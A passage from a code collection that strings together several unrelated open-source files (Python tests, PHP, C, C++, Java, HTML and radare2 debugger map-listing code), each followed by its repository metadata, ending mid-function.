build_auxiliary_coordinate(self.engine, self.cf_coord_var)
# Test that expected coord is built and added to cube.
self.engine.cube.add_aux_coord.assert_called_with(
expected_coord, [0, 1])
# Test that engine.provides container is correctly populated.
expected_list = [(expected_coord, self.cf_coord_var.cf_name)]
self.assertEqual(self.engine.provides['coordinates'],
expected_list)
def test_fastest_with_different_dim_names(self):
# Despite the dimension names ('x', and 'y') differing from the coord's
# which are 'foo' and 'bar' (as permitted by the cf spec),
# this should still work because the vertex dim is the fastest varying.
bounds = np.arange(24).reshape(2, 3, 4)
self.cf_bounds_var = mock.Mock(
dimensions=('x', 'y', 'nv'),
cf_name='wibble_bnds',
shape=bounds.shape,
dtype=bounds.dtype,
__getitem__=lambda self, key: bounds[key])
expected_coord = AuxCoord(
self.cf_coord_var[:],
long_name=self.cf_coord_var.long_name,
var_name=self.cf_coord_var.cf_name,
units=self.cf_coord_var.units,
bounds=bounds)
get_cf_bounds_var_patch = mock.patch(
'iris.fileformats._pyke_rules.compiled_krb.'
'fc_rules_cf_fc.get_cf_bounds_var',
return_value=self.cf_bounds_var)
# Asserts must lie within context manager because of deferred loading.
with self.deferred_load_patch, get_cf_bounds_var_patch:
build_auxiliary_coordinate(self.engine, self.cf_coord_var)
# Test that expected coord is built and added to cube.
self.engine.cube.add_aux_coord.assert_called_with(
expected_coord, [0, 1])
# Test that engine.provides container is correctly populated.
expected_list = [(expected_coord, self.cf_coord_var.cf_name)]
self.assertEqual(self.engine.provides['coordinates'],
expected_list)
if __name__ == '__main__':
tests.main()
| jkettleb/iris | lib/iris/tests/unit/fileformats/pyke_rules/compiled_krb/fc_rules_cf_fc/test_build_auxiliary_coordinate.py | Python | lgpl-3.0 | 7,441 |
<?php
/*
* Copyright (c) 2012-2016, Hofmänner New Media.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This file is part of the N2N FRAMEWORK.
*
* The N2N FRAMEWORK is free software: you can redistribute it and/or modify it under the terms of
* the GNU Lesser General Public License as published by the Free Software Foundation, either
* version 2.1 of the License, or (at your option) any later version.
*
* N2N is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even
* the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details: http://www.gnu.org/licenses/
*
* The following people participated in this project:
*
* Andreas von Burg.....: Architect, Lead Developer
* Bert Hofmänner.......: Idea, Frontend UI, Community Leader, Marketing
* Thomas Günther.......: Developer, Hangar
*/
namespace n2n\web\dispatch\target;
class PropertyPathMissmatchException extends DispatchTargetException {
}
| n2n/n2n-web | src/app/n2n/web/dispatch/target/PropertyPathMissmatchException.php | PHP | lgpl-3.0 | 1,080 |
/*
counters.c - code pertaining to encoders and other counting methods
Part of Grbl
Copyright (c) 2014 Adam Shelly
Grbl is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Grbl is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Grbl. If not, see <http://www.gnu.org/licenses/>.
*/
#include "system.h"
#include "counters.h"
uint32_t alignment_debounce_timer=0;
#define PROBE_DEBOUNCE_DELAY_MS 25
counters_t counters = {{0}};
// Counters pin initialization routine.
void counters_init()
{
//encoders and feedback //TODO: move to new file
#ifdef KEYME_BOARD
FDBK_DDR &= ~(FDBK_MASK); // Configure as input pins
FDBK_PORT |= FDBK_MASK; // Enable internal pull-up resistors. Normal high operation. //TODO test
#endif
counters.state = FDBK_PIN&FDBK_MASK; //record initial state
counters_enable(0); //default to no encoder
}
void counters_enable(int enable)
{
if (enable) {
FDBK_PCMSK |= FDBK_MASK; // Enable specific pins of the Pin Change Interrupt
PCICR |= (1 << FDBK_INT); // Enable Pin Change Interrupt
}
else {
FDBK_PCMSK &= ~FDBK_MASK; // Disable specific pins of the Pin Change Interrupt
PCICR &= ~(1 << FDBK_INT); // Disable Pin Change Interrupt
}
}
// Resets the counts for an axis
void counters_reset(uint8_t axis)
{
counters.counts[axis]=0;
if (axis == Z_AXIS) { counters.idx=0; }
}
// Returns the counters pin state. Triggered = true. and counters state monitor.
count_t counters_get_count(uint8_t axis)
{
return counters.counts[axis];
}
uint8_t counters_get_state(){
return counters.state;
}
int16_t counters_get_idx(){
return counters.idx;
}
int debounce(uint32_t* bounce_clock, int16_t lockout_ms) {
uint32_t clock = masterclock;
//allow another reading if lockout has expired
// (or if clock has rolled over - otherwise we could wait forever )
if ( clock > (*bounce_clock + lockout_ms) || (clock < *bounce_clock) ) {
*bounce_clock = clock;
return 1;
}
return 0;
}
ISR(FDBK_INT_vect) {
uint8_t state = FDBK_PIN&FDBK_MASK;
uint8_t change = (state^counters.state);
int8_t dir=0;
//look for encoder change
if (change & ((1<<Z_ENC_CHA_BIT)|(1<<Z_ENC_CHB_BIT))) { //if a or b changed
counters.anew = (state>>Z_ENC_CHA_BIT)&1;
dir = counters.anew^counters.bold ? 1 : -1;
counters.bold = (state>>Z_ENC_CHB_BIT)&1;
counters.counts[Z_AXIS] += dir;
}
//count encoder indexes
if (change & (1<<Z_ENC_IDX_BIT)) { //idx changed
uint8_t idx_on = ((state>>Z_ENC_IDX_BIT)&1);
if (idx_on) {
counters.idx += dir;
}
}
//count rotary axis alignment pulses.
if (change & (1<<ALIGN_SENSE_BIT)) { //sensor changed
if (debounce(&alignment_debounce_timer, PROBE_DEBOUNCE_DELAY_MS)){
if (!(state&PROBE_MASK)) { //low is on.
counters.counts[C_AXIS]++;
}
}
}
counters.state = state;
}
| ashelly/grbl | counters.c | C | lgpl-3.0 | 3,323 |
/********************************************************************************
**
** Copyright (C) 2016-2021 Pavel Pavlov.
**
**
** This file is part of SprintTimer.
**
** SprintTimer is free software: you can redistribute it and/or modify
** it under the terms of the GNU Lesser General Public License as published by
** the Free Software Foundation, either version 3 of the License, or
** (at your option) any later version.
**
** SprintTimer is distributed in the hope that it will be useful,
** but WITHOUT ANY WARRANTY; without even the implied warranty of
** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
** GNU Lesser General Public License for more details.
**
** You should have received a copy of the GNU Lesser General Public License
** along with SprintTimer. If not, see <http://www.gnu.org/licenses/>.
**
*********************************************************************************/
#include "core/use_cases/SprintMapper.h"
namespace sprint_timer::use_cases {
SprintDTO makeDTO(const entities::Sprint& sprint)
{
const auto& tagsEnt = sprint.tags();
std::vector<std::string> tags(tagsEnt.size());
std::transform(cbegin(tagsEnt),
cend(tagsEnt),
begin(tags),
[](const auto& elem) { return elem.name(); });
return SprintDTO{sprint.uuid(),
sprint.taskUuid(),
sprint.name(),
tags,
sprint.timeSpan()};
}
entities::Sprint fromDTO(const SprintDTO& dto)
{
const auto& tagStr = dto.tags;
std::list<entities::Tag> tags(tagStr.size());
std::transform(cbegin(tagStr),
cend(tagStr),
begin(tags),
[](const auto& elem) { return entities::Tag{elem}; });
return entities::Sprint{
dto.taskName, dto.timeRange, tags, dto.uuid, dto.taskUuid};
}
std::vector<SprintDTO> makeDTOs(const std::vector<entities::Sprint>& sprints)
{
std::vector<SprintDTO> res;
res.reserve(sprints.size());
makeDTOs(cbegin(sprints), cend(sprints), std::back_inserter(res));
return res;
}
std::vector<entities::Sprint> fromDTOs(const std::vector<SprintDTO>& dtos)
{
std::vector<entities::Sprint> res;
res.reserve(dtos.size());
fromDTOs(cbegin(dtos), cend(dtos), std::back_inserter(res));
return res;
}
} // namespace sprint_timer::use_cases
| ravenvz/SprintTimer | src/core/src/use_cases/SprintMapper.cpp | C++ | lgpl-3.0 | 2,408 |
package org.toughradius.handler;
public interface RadiusConstant {
public final static String VENDOR_TOUGHSOCKS = "18168";
public final static String VENDOR_MIKROTIK = "14988";
public final static String VENDOR_IKUAI = "10055";
public final static String VENDOR_HUAWEI = "2011";
public final static String VENDOR_ZTE = "3902";
public final static String VENDOR_H3C = "25506";
public final static String VENDOR_RADBACK = "2352";
public final static String VENDOR_CISCO = "9";
}
| talkincode/ToughRADIUS | src/main/java/org/toughradius/handler/RadiusConstant.java | Java | lgpl-3.0 | 512 |
<!DOCTYPE html>
<html>
<!-- This file is automatically generated: do not edit. -->
<head>
<title>Backtesting</title>
<meta charset="utf-8">
</head>
<body>
<!-- <h1>Backtesting</h1> -->
<h2>Backtesting</h2>
<p>The architecure of OpenTrader supports different chefs (backtesters), and it<br />
is assumed that some will have different features, strengths, and weaknesses.<br />
We want to lay out here the minimum requirements for inclusion, and we want<br />
lay out what we are looking for even if there is no currently available<br />
open source code that does everything we are looking for.</p>
<p>Because there may be a large tradeoff between some features and speed, and<br />
because speed in backtesting is a prerequisite to do multi-variate optimization,<br />
we can imagine have more than one type of backtester: a fast coarse one, and a<br />
slower fine one. The former can be used to narrow down the range of parameters,<br />
and the latter can be used to test the former in more realisitic conditions.<br />
In backtesters, vector approaches (like pybacktest) are in the former category,<br />
and usually event-driven backtesters are in the latter. The same may also<br />
be true of backtesting versus live-trading, as it usually requires an<br />
event-driven backtester.</p>
<p>It must be borne in mind that any of the currently available software projects<br />
are moving targets that may gain new features from one release to the next.<br />
So can their speed greatly from one release to the next, and it's usually best<br />
to just a project based on its quality and see how it evolves rather than just<br />
judge it on criteria. This is especially true now that core bottlenecks are being<br />
rewritten in Cython. Similarly, if a feature is missing and important enough to us,<br />
we perhaps can implement the feature and push it back upstream.</p>
<h3>Criteria</h3>
<p>Idealy, our backtesters will have all of the features found in the Stategy Tester,<br />
so that we can make direct comparisons.</p>
<p><strong>Requirements:</strong></p>
<ul>
<li>Open source.</li>
<li>Panderific. At the very least, numpy arrays as the basis.</li>
</ul>
<p><strong>Nice to Have:</strong></p>
<ul>
<li>trailing stop-loss implementation</li>
<li>easily adapted to live-trading</li>
</ul>
<p><strong>Nice not to Have:</strong></p>
<ul>
<li>slow</li>
</ul>
<h3>Candidates</h3>
<p>We list here some of the open source software that we know of, with some<br />
comments based on our Criteria:</p>
<p><a href="pybacktest">https://github.com/ematvey/pybacktest/</a><br />
Fast, vectorized, no trailing stop-loss. <tt>pybacktest</tt> was the first bactester<br />
included in OpenTrader (see <a href="DocOTCmd2_backtest.html">DocOTCmd2_backtest</a>), and it formed the basis<br />
for our initial architecture. Very succinct.</p>
<p><a href="bt">https://github.com/pmorissette/bt</a><br />
No trailing stop-loss.</p>
<p><a href="zipline">https://github.com/quantopian/zipline</a><br />
Very actively developed. Not very fast. No trailing stop-loss.</p>
<p><a href="pyalgotrade">http://gbeced.github.io/pyalgotrade</a><br />
Actively developed and well-documented.<br />
Numpied, not pandaed. No trailing stop-loss.</p>
<p><a href="ultrafinance">https://github.com/panpanpandas/ultrafinance</a><br />
Numpied, not pandaed. Event driven backtester.</p>
<p><a href="tradingmachine">http://pypi.python.org/pypi/tradingmachine/</a><br />
Pandaed. Event driven backtester.</p>
<hr />
<p>See also:</p>
<ul>
<li><a href="http://tradingwithpython.blogspot.fr/2014/05/backtesting-dilemmas.html">http://tradingwithpython.blogspot.fr/2014/05/backtesting-dilemmas.html</a></li>
</ul>
<p>Parent: <a href="Architecture.html">Architecture</a></p></body>
</html>
| OpenTrading/OpenTrader | share/html/Backtesting.html | HTML | lgpl-3.0 | 3,779 |
/*
Copyright 2015 Infinitycoding all rights reserved
This file is part of the mercury c-library.
The mercury c-library is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
The mercury c-library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License
along with the mercury c-library. If not, see <http://www.gnu.org/licenses/>.
*/
/**
* @author Michael Sippel (Universe Team) <[email protected]>
*/
#include <syscall.h>
#include <sys/types.h>
#include <signal.h>
#include <unistd.h>
sighandler_t signal(int signum, sighandler_t handler)
{
linux_syscall(SYS_SIGNAL, signum,(uint32_t) handler, 0, 0, 0);
return handler;
}
int kill(pid_t pid, int sig)
{
return linux_syscall(SYS_KILL, pid, sig, 0, 0, 0);
}
int raise(int sig)
{
return kill(getpid(), sig);
}
| infinitycoding/mercury | sys/linux/I386/signal.c | C | lgpl-3.0 | 1,257 |
/*
* Copyright 2017 Crown Copyright
*
* This file is part of Stroom-Stats.
*
* Stroom-Stats is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Stroom-Stats is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with Stroom-Stats. If not, see <http://www.gnu.org/licenses/>.
*/
package stroom.stats.configuration;
import org.ehcache.spi.loaderwriter.CacheLoaderWriter;
import org.hibernate.Session;
import org.hibernate.SessionFactory;
import org.hibernate.context.internal.ManagedSessionContext;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import javax.inject.Inject;
import java.util.Map;
public class StatisticConfigurationCacheByUuidLoaderWriter implements CacheLoaderWriter<String,StatisticConfiguration>{
private static final Logger LOGGER = LoggerFactory.getLogger(StatisticConfigurationCacheByUuidLoaderWriter.class);
private final StroomStatsStoreEntityDAO stroomStatsStoreEntityDAO;
private final SessionFactory sessionFactory;
@Inject
public StatisticConfigurationCacheByUuidLoaderWriter(final StroomStatsStoreEntityDAO stroomStatsStoreEntityDAO,
final SessionFactory sessionFactory) {
this.stroomStatsStoreEntityDAO = stroomStatsStoreEntityDAO;
this.sessionFactory = sessionFactory;
}
@Override
public StatisticConfiguration load(final String key) throws Exception {
LOGGER.trace("load called for key {}", key);
//EHCache doesn't cache null values so if we can't find a stat config for this uuid,
//just return null
try (Session session = sessionFactory.openSession()) {
ManagedSessionContext.bind(session);
session.beginTransaction();
StatisticConfiguration statisticConfiguration = stroomStatsStoreEntityDAO.loadByUuid(key).orElse(null);
LOGGER.trace("Returning statisticConfiguration {}", statisticConfiguration);
return statisticConfiguration;
} catch (Exception e) {
throw new RuntimeException(String.format("Error loading stat store entity by uuid %s", key), e);
}
}
@Override
public Map<String, StatisticConfiguration> loadAll(final Iterable<? extends String> keys)
throws Exception {
throw new UnsupportedOperationException("loadAll (getAll) is not currently supported on this cache");
}
@Override
public void write(final String key, final StatisticConfiguration value) throws Exception {
throw new UnsupportedOperationException("CRUD operations are not currently supported on this cache");
}
@Override
public void writeAll(final Iterable<? extends Map.Entry<? extends String, ? extends StatisticConfiguration>> entries) throws Exception {
throw new UnsupportedOperationException("CRUD operations are not currently supported on this cache");
}
@Override
public void delete(final String key) throws Exception {
throw new UnsupportedOperationException("CRUD operations are not currently supported on this cache");
}
@Override
public void deleteAll(final Iterable<? extends String> keys) throws Exception {
throw new UnsupportedOperationException("CRUD operations are not currently supported on this cache");
}
}
| gchq/stroom-stats | stroom-stats-service/src/main/java/stroom/stats/configuration/StatisticConfigurationCacheByUuidLoaderWriter.java | Java | lgpl-3.0 | 3,752 |
<?php
/*
*
* ____ _ _ __ __ _ __ __ ____
* | _ \ ___ ___| | _____| |_| \/ (_)_ __ ___ | \/ | _ \
* | |_) / _ \ / __| |/ / _ \ __| |\/| | | '_ \ / _ \_____| |\/| | |_) |
* | __/ (_) | (__| < __/ |_| | | | | | | | __/_____| | | | __/
* |_| \___/ \___|_|\_\___|\__|_| |_|_|_| |_|\___| |_| |_|_|
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* @author PocketMine Team
* @link http://www.pocketmine.net/
*
*
*/
/**
* Task scheduling related classes
*/
namespace pocketmine\scheduler;
use pocketmine\plugin\Plugin;
use pocketmine\Server;
use pocketmine\utils\MainLogger;
use pocketmine\utils\PluginException;
use pocketmine\utils\ReversePriorityQueue;
class ServerScheduler{
public static $WORKERS = 2;
/**
* @var ReversePriorityQueue<Task>
*/
protected $queue;
/**
* @var TaskHandler[]
*/
protected $tasks = [];
/** @var AsyncPool */
protected $asyncPool;
/** @var int */
private $ids = 1;
/** @var int */
protected $currentTick = 0;
public function __construct(){
$this->queue = new ReversePriorityQueue();
$this->asyncPool = new AsyncPool(Server::getInstance(), self::$WORKERS);
}
/**
* @param Task $task
*
* @return null|TaskHandler
*/
public function scheduleTask(Task $task){
return $this->addTask($task, -1, -1);
}
/**
* Submits an asynchronous task to the Worker Pool
*
* @param AsyncTask $task
*
* @return void
*/
public function scheduleAsyncTask(AsyncTask $task){
$id = $this->nextId();
$task->setTaskId($id);
$this->asyncPool->submitTask($task);
}
/**
* Submits an asynchronous task to a specific Worker in the Pool
*
* @param AsyncTask $task
* @param int $worker
*
* @return void
*/
public function scheduleAsyncTaskToWorker(AsyncTask $task, $worker){
$id = $this->nextId();
$task->setTaskId($id);
$this->asyncPool->submitTaskToWorker($task, $worker);
}
public function getAsyncTaskPoolSize(){
return $this->asyncPool->getSize();
}
public function increaseAsyncTaskPoolSize($newSize){
$this->asyncPool->increaseSize($newSize);
}
/**
* @param Task $task
* @param int $delay
*
* @return null|TaskHandler
*/
public function scheduleDelayedTask(Task $task, $delay){
return $this->addTask($task, (int) $delay, -1);
}
/**
* @param Task $task
* @param int $period
*
* @return null|TaskHandler
*/
public function scheduleRepeatingTask(Task $task, $period){
return $this->addTask($task, -1, (int) $period);
}
/**
* @param Task $task
* @param int $delay
* @param int $period
*
* @return null|TaskHandler
*/
public function scheduleDelayedRepeatingTask(Task $task, $delay, $period){
return $this->addTask($task, (int) $delay, (int) $period);
}
/**
* @param int $taskId
*/
public function cancelTask($taskId){
if($taskId !== \null and isset($this->tasks[$taskId])){
$this->tasks[$taskId]->cancel();
unset($this->tasks[$taskId]);
}
}
/**
* @param Plugin $plugin
*/
public function cancelTasks(Plugin $plugin){
foreach($this->tasks as $taskId => $task){
$ptask = $task->getTask();
if($ptask instanceof PluginTask and $ptask->getOwner() === $plugin){
$task->cancel();
unset($this->tasks[$taskId]);
}
}
}
public function cancelAllTasks(){
foreach($this->tasks as $task){
$task->cancel();
}
$this->tasks = [];
$this->asyncPool->removeTasks();
$this->queue = new ReversePriorityQueue();
$this->ids = 1;
}
/**
* @param int $taskId
*
* @return bool
*/
public function isQueued($taskId){
return isset($this->tasks[$taskId]);
}
/**
* @param Task $task
* @param $delay
* @param $period
*
* @return null|TaskHandler
*
* @throws PluginException
*/
private function addTask(Task $task, $delay, $period){
if($task instanceof PluginTask){
if(!($task->getOwner() instanceof Plugin)){
throw new PluginException("Invalid owner of PluginTask " . \get_class($task));
}elseif(!$task->getOwner()->isEnabled()){
throw new PluginException("Plugin '" . $task->getOwner()->getName() . "' attempted to register a task while disabled");
}
}elseif($task instanceof CallbackTask and Server::getInstance()->getProperty("settings.deprecated-verbose", \true)){
$callable = $task->getCallable();
if(\is_array($callable)){
if(\is_object($callable[0])){
$taskName = "Callback#" . \get_class($callable[0]) . "::" . $callable[1];
}else{
$taskName = "Callback#" . $callable[0] . "::" . $callable[1];
}
}else{
$taskName = "Callback#" . $callable;
}
Server::getInstance()->getLogger()->warning("A plugin attempted to register a deprecated CallbackTask ($taskName)");
}
if($delay <= 0){
$delay = -1;
}
if($period <= -1){
$period = -1;
}elseif($period < 1){
$period = 1;
}
return $this->handle(new TaskHandler(\get_class($task), $task, $this->nextId(), $delay, $period));
}
private function handle(TaskHandler $handler){
if($handler->isDelayed()){
$nextRun = $this->currentTick + $handler->getDelay();
}else{
$nextRun = $this->currentTick;
}
$handler->setNextRun($nextRun);
$this->tasks[$handler->getTaskId()] = $handler;
$this->queue->insert($handler, $nextRun);
return $handler;
}
/**
* @param int $currentTick
*/
public function mainThreadHeartbeat($currentTick){
$this->currentTick = $currentTick;
while($this->isReady($this->currentTick)){
/** @var TaskHandler $task */
$task = $this->queue->extract();
if($task->isCancelled()){
unset($this->tasks[$task->getTaskId()]);
continue;
}else{
$task->timings->startTiming();
try{
$task->run($this->currentTick);
}catch(\Exception $e){
Server::getInstance()->getLogger()->critical("Could not execute task " . $task->getTaskName() . ": " . $e->getMessage());
$logger = Server::getInstance()->getLogger();
if($logger instanceof MainLogger){
$logger->logException($e);
}
}
$task->timings->stopTiming();
}
if($task->isRepeating()){
$task->setNextRun($this->currentTick + $task->getPeriod());
$this->queue->insert($task, $this->currentTick + $task->getPeriod());
}else{
$task->remove();
unset($this->tasks[$task->getTaskId()]);
}
}
$this->asyncPool->collectTasks();
}
private function isReady($currentTicks){
return \count($this->tasks) > 0 and $this->queue->current()->getNextRun() <= $currentTicks;
}
/**
* @return int
*/
private function nextId(){
return $this->ids++;
}
}
| ZenaGamingsky/PocketBox | src/pocketmine/scheduler/ServerScheduler.php | PHP | lgpl-3.0 | 6,789 |
/* radare - LGPL - Copyright 2009-2017 - pancake */
#include <r_debug.h>
#include <r_list.h>
/* Print out the JSON body for memory maps in the passed map region */
static void print_debug_map_json(RDebug *dbg, RDebugMap *map, bool prefix_comma) {
dbg->cb_printf ("%s{", prefix_comma ? ",": "");
if (map->name && *map->name) {
char *escaped_name = r_str_escape (map->name);
dbg->cb_printf ("\"name\":\"%s\",", escaped_name);
free (escaped_name);
}
if (map->file && *map->file) {
char *escaped_path = r_str_escape (map->file);
dbg->cb_printf ("\"file\":\"%s\",", escaped_path);
free (escaped_path);
}
dbg->cb_printf ("\"addr\":%" PFMT64u ",", map->addr);
dbg->cb_printf ("\"addr_end\":%" PFMT64u ",", map->addr_end);
dbg->cb_printf ("\"type\":\"%c\",", map->user?'u':'s');
dbg->cb_printf ("\"perm\":\"%s\"", r_str_rwx_i (map->perm));
dbg->cb_printf ("}");
}
/* Write the memory map header describing the line columns */
static void print_debug_map_line_header(RDebug *dbg, const char *input) {
// TODO: Write header to console based on which command is being ran
}
/* Write a single memory map line to the console */
static void print_debug_map_line(RDebug *dbg, RDebugMap *map, ut64 addr, const char *input) {
char humansz[8];
if (input[0] == 'q') { // "dmq"
char *name = (map->name && *map->name)
? r_str_newf ("%s.%s", map->name, r_str_rwx_i (map->perm))
: r_str_newf ("%08" PFMT64x ".%s", map->addr, r_str_rwx_i (map->perm));
r_name_filter (name, 0);
r_num_units (humansz, sizeof (humansz), map->addr_end - map->addr);
dbg->cb_printf ("0x%016" PFMT64x " - 0x%016" PFMT64x " %6s %5s %s\n",
map->addr,
map->addr_end,
humansz,
r_str_rwx_i (map->perm),
name
);
free (name);
} else {
const char *fmtstr = dbg->bits & R_SYS_BITS_64
? "0x%016" PFMT64x " - 0x%016" PFMT64x " %c %s %6s %c %s %s %s%s%s\n"
: "0x%08" PFMT64x " - 0x%08" PFMT64x " %c %s %6s %c %s %s %s%s%s\n";
const char *type = map->shared ? "sys": "usr";
const char *flagname = dbg->corebind.getName
? dbg->corebind.getName (dbg->corebind.core, map->addr) : NULL;
if (!flagname) {
flagname = "";
} else if (map->name) {
char *filtered_name = strdup (map->name);
r_name_filter (filtered_name, 0);
if (!strncmp (flagname, "map.", 4) && \
!strcmp (flagname + 4, filtered_name)) {
flagname = "";
}
free (filtered_name);
}
r_num_units (humansz, sizeof (humansz), map->size);
dbg->cb_printf (fmtstr,
map->addr,
map->addr_end,
(addr >= map->addr && addr < map->addr_end) ? '*' : '-',
type,
humansz,
map->user ? 'u' : 's',
r_str_rwx_i (map->perm),
map->name ? map->name : "?",
map->file ? map->file : "?",
*flagname ? " ; " : "",
flagname
);
}
}
R_API void r_debug_map_list(RDebug *dbg, ut64 addr, const char *input) {
int i;
bool notfirst = false;
RListIter *iter;
RDebugMap *map;
if (!dbg) {
return;
}
switch (input[0]) {
case 'j': // "dmj" add JSON opening array brace
dbg->cb_printf ("[");
break;
case '*': // "dm*" don't print a header for r2 commands output
break;
default:
// TODO: Find a way to only print headers if output isn't being grepped
print_debug_map_line_header (dbg, input);
}
for (i = 0; i < 2; i++) { // Iterate over dbg::maps and dbg::maps_user
RList *maps = (i == 0) ? dbg->maps : dbg->maps_user;
r_list_foreach (maps, iter, map) {
switch (input[0]) {
case 'j': // "dmj"
print_debug_map_json (dbg, map, notfirst);
notfirst = true;
break;
case '*': // "dm*"
{
char *name = (map->name && *map->name)
? r_str_newf ("%s.%s", map->name, r_str_rwx_i (map->perm))
: r_str_newf ("%08" PFMT64x ".%s", map->addr, r_str_rwx_i (map->perm));
r_name_filter (name, 0);
dbg->cb_printf ("f map.%s 0x%08" PFMT64x " 0x%08" PFMT64x "\n",
name, map->addr_end - map->addr + 1, map->addr);
free (name);
}
break;
case 'q': // "dmq"
if (input[1] == '.') { // "dmq."
if (addr >= map->addr && addr < map->addr_end) {
print_debug_map_line (dbg, map, addr, input);
}
break;
}
print_debug_map_line (dbg, map, addr, input);
break;
case '.':
if (addr >= map->addr && addr < map->addr_end) {
print_debug_map_line (dbg, map, addr, input);
}
break;
default:
print_debug_map_line (dbg, map, addr, input);
break;
}
}
}
if (input[0] == 'j') { // "dmj" add JSON closing array brace
dbg->cb_printf ("]\n");
}
}
static int cmp(const void *a, const void *b) {
RDebugMap *ma = (RDebugMap*) a;
RDebugMap *mb = (RDebugMap*) b;
return ma->addr - mb->addr;
}
/**
* \brief Find the min and max addresses in an RList of maps.
* \param maps RList of maps that will be searched through
* \param min Pointer to a ut64 that the min will be stored in
* \param max Pointer to a ut64 that the max will be stored in
* \param skip How many maps to skip at the start of iteration
* \param width Divisor for the return value
* \return (max-min)/width
*
* Used to determine the min & max addresses of maps and
* scale the ascii bar to the width of the terminal
*/
static int findMinMax(RList *maps, ut64 *min, ut64 *max, int skip, int width) {
RDebugMap *map;
RListIter *iter;
*min = UT64_MAX;
*max = 0;
r_list_foreach (maps, iter, map) {
if (skip > 0) {
skip--;
continue;
}
if (map->addr < *min) {
*min = map->addr;
}
if (map->addr_end > *max) {
*max = map->addr_end;
}
}
return (*max - *min) / width;
}
static void print_debug_maps_ascii_art(RDebug *dbg, RList *maps, ut64 addr, int colors) {
ut64 mul; // The amount of address space a single console column will represent in bar graph
ut64 min = -1, max = 0;
int width = r_cons_get_size (NULL) - 90;
RListIter *iter;
RDebugMap *map;
RConsPrintablePalette *pal = &r_cons_singleton ()->context->pal;
if (width < 1) {
width = 30;
}
r_list_sort (maps, cmp);
mul = findMinMax (maps, &min, &max, 0, width);
ut64 last = min;
if (min != -1 && mul != 0) {
const char *color_prefix = ""; // Color escape code prefixed to string (address coloring)
const char *color_suffix = ""; // Color escape code appended to end of string
const char *fmtstr;
char humansz[8]; // Holds the human formatted size string [124K]
int skip = 0; // Number of maps to skip when re-calculating the minmax
r_list_foreach (maps, iter, map) {
r_num_units (humansz, sizeof (humansz), map->size); // Convert map size to human readable string
if (colors) {
color_suffix = Color_RESET;
if ((map->perm & 2) && (map->perm & 1)) { // Writable & Executable
color_prefix = pal->widget_sel;
} else if (map->perm & 2) { // Writable
color_prefix = pal->graph_false;
} else if (map->perm & 1) { // Executable
color_prefix = pal->graph_true;
} else {
color_prefix = "";
color_suffix = "";
}
} else {
color_prefix = "";
color_suffix = "";
}
if ((map->addr - last) > UT32_MAX) { // TODO: Comment what this is for
mul = findMinMax (maps, &min, &max, skip, width); // Recalculate minmax
}
skip++;
fmtstr = dbg->bits & R_SYS_BITS_64 // Prefix formatting string (before bar)
? "map %4.8s %c %s0x%016" PFMT64x "%s |"
: "map %4.8s %c %s0x%08" PFMT64x "%s |";
dbg->cb_printf (fmtstr, humansz,
(addr >= map->addr && \
addr < map->addr_end) ? '*' : '-',
color_prefix, map->addr, color_suffix); // * indicates map is within our current sought offset
int col;
for (col = 0; col < width; col++) { // Iterate over the available width/columns for bar graph
ut64 pos = min + (col * mul); // Current address space to check
ut64 npos = min + ((col + 1) * mul); // Next address space to check
if (map->addr < npos && map->addr_end > pos) {
dbg->cb_printf ("#"); // TODO: Comment what a # represents
} else {
dbg->cb_printf ("-");
}
}
fmtstr = dbg->bits & R_SYS_BITS_64 ? // Suffix formatting string (after bar)
"| %s0x%016" PFMT64x "%s %s %s\n" :
"| %s0x%08" PFMT64x "%s %s %s\n";
dbg->cb_printf (fmtstr, color_prefix, map->addr_end, color_suffix,
r_str_rwx_i (map->perm), map->name);
last = map->addr;
}
}
}
R_API void r_debug_map_list_visual(RDebug *dbg, ut64 addr, const char *input, int colors) {
if (dbg) {
int i;
for (i = 0; i < 2; i++) { // Iterate over dbg::maps and dbg::maps_user
RList *maps = (i == 0) ? dbg->maps : dbg->maps_user;
if (maps) {
RListIter *iter;
RDebugMap *map;
if (input[1] == '.') { // "dm=." Only show map overlapping current offset
dbg->cb_printf ("TODO:\n");
r_list_foreach (maps, iter, map) {
if (addr >= map->addr && addr < map->addr_end) {
// print_debug_map_ascii_art (dbg, map);
}
}
} else { // "dm=" Show all maps with a graph
print_debug_maps_ascii_art (dbg, maps, addr, colors);
}
}
}
}
}
R_API RDebugMap *r_debug_map_new(char *name, ut64 addr, ut64 addr_end, int perm, int user) {
RDebugMap *map;
/* range could be 0k on OpenBSD, it's a honeypot */
if (!name || addr > addr_end) {
eprintf ("r_debug_map_new: error (\
%" PFMT64x ">%" PFMT64x ")\n", addr, addr_end);
return NULL;
}
map = R_NEW0 (RDebugMap);
if (!map) {
return NULL;
}
map->name = strdup (name);
map->addr = addr;
map->addr_end = addr_end;
map->size = addr_end-addr;
map->perm = perm;
map->user = user;
return map;
}
R_API RList *r_debug_modules_list(RDebug *dbg) {
return (dbg && dbg->h && dbg->h->modules_get)?
dbg->h->modules_get (dbg): NULL;
}
R_API int r_debug_map_sync(RDebug *dbg) {
bool ret = false;
